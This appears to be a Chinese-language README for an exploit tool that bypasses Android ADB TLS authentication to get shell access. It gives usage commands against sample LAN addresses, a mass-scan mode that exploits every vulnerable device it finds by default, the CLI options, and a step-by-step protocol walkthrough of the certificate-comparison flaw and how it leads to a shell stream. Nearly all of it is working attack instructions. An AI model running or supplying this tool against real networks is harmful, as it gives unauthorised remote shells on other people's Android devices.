# 创建虚拟环境
uv venv

# 激活虚拟环境
source .venv/bin/activate

# 安装依赖项
uv pip install -r requirements.txt

python3 adb_tls_auth_bypass.py 192.168.1.42              # 交互式 shell
python3 adb_tls_auth_bypass.py 192.168.1.42 5555 --cmd "id"

python3 adbt_scanner.py --host 192.168.1.42                # 交互式 shell
python3 adbt_scanner.py --host 192.168.1.42 --cmd "id; getprop ro.product.model"
python3 adbt_scanner.py --host 192.168.1.42 --port 5580 --cmd "whoami"

# 完整扫描：mDNS → ARP → 端口扫描 → ADB 探测 → 利用
python3 adbt_scanner.py --scan

# 在所有易受攻击的设备上运行特定命令
python3 adbt_scanner.py --scan --cmd "id; getprop ro.build.version.security_patch"

# 仅侦察——发现但不利用
python3 adbt_scanner.py --scan --no-exploit

# 扫描多个端口
python3 adbt_scanner.py --scan --ports 5555,5580,5037

# 覆盖检测到的子网（多宿主主机、特定范围）
python3 adbt_scanner.py --scan --subnet 192.168.2.0/24

# 为慢速网络调整超时
python3 adbt_scanner.py --scan --connect-timeout 5 --probe-timeout 10

# 延长 mDNS 监听窗口
python3 adbt_scanner.py --scan --mdns-timeout 60

# 跳过特定发现阶段
python3 adbt_scanner.py --scan --no-mdns    # 跳过 mDNS，仅 ARP
python3 adbt_scanner.py --scan --no-arp     # 跳过 ARP，仅 mDNS

--scan                    扫描网络以发现易受攻击的设备并加以利用
--host HOST               直接单目标利用
--port PORT               --host 模式的 ADB 端口（默认：5555）
--cmd COMMAND             要运行的 shell 命令
-v, --verbose             详细日志输出

--mdns-timeout SECONDS    mDNS 监听时长（默认：30）
--ports PORTS             --scan 模式下的逗号分隔端口（默认：5555）
--subnet CIDR             覆盖检测到的子网（例如 192.168.2.0/24）
--connect-timeout SECONDS TCP 连接超时（默认：2.0）
--probe-timeout SECONDS   ADB 探测超时（默认：3.0）
--arp-timeout SECONDS     ARP 扫描超时（默认：3）
--no-mdns                 跳过 mDNS 发现
--no-arp                  跳过 ARP 扫描 + 端口扫描
--no-exploit              在 ADB 协议探测阶段后停止

┌─────────────────────────────────────────────────────────────┐
│ 1. 子网检测    — netifaces → ip route → socket 技巧        │
│ 2. mDNS 监听器 — _adb-tls-connect._tcp（默认 30 秒）       │
│ 3. ARP 扫描    — scapy.arping → nmap -sn                   │
│ 4. 端口扫描    — 对每个主机:端口进行 TCP 连接              │
│ 5. ADB 协议探测 — 发送 CNXN，分类响应                       │
│                                                             │
│    STLS   → 易受攻击（继续利用）                            │
│    AUTH   → 传统 ADB 认证（不涉及此 CVE）                   │
│    CNXN   → 开放，无需认证（已可访问）                      │
│    NO_ADB → 不是 ADB 服务                                   │
│                                                             │
│ 6. 利用        — TLS 升级 → 认证绕过 → shell               │
└─────────────────────────────────────────────────────────────┘

阶段 1 — 明文 ADB
  客户端 → CNXN(payload="host::features=...")
  设备 → STLS  （要求升级到 TLS）

阶段 2 — 使用跨算法客户端证书的 TLS 1.3
  客户端 → STLS 回复
  客户端 → TLS 1.3 握手 + EC P-256 客户端证书
  设备调用 adbd_tls_verify_cert()：
    known_evp = 来自 /data/misc/adb/adb_keys 的 RSA 密钥
    evp_pkey  = 来自客户端证书的 EC P-256 密钥
    EVP_PKEY_cmp(known_evp, evp_pkey) → -1（类型不匹配）
    if (-1) → verified = true   ← 缺陷：-1 为真值

阶段 3 — TLS 后的 ADB 服务层
  客户端排空设备 CNXN（传输已在线）
  不发送主机 CNXN（会触发 handle_new_connection 踢出）
  客户端 → OPEN(local_id, window=32MB, payload="shell:\x00")
  设备 → OKAY  → shell 流已建立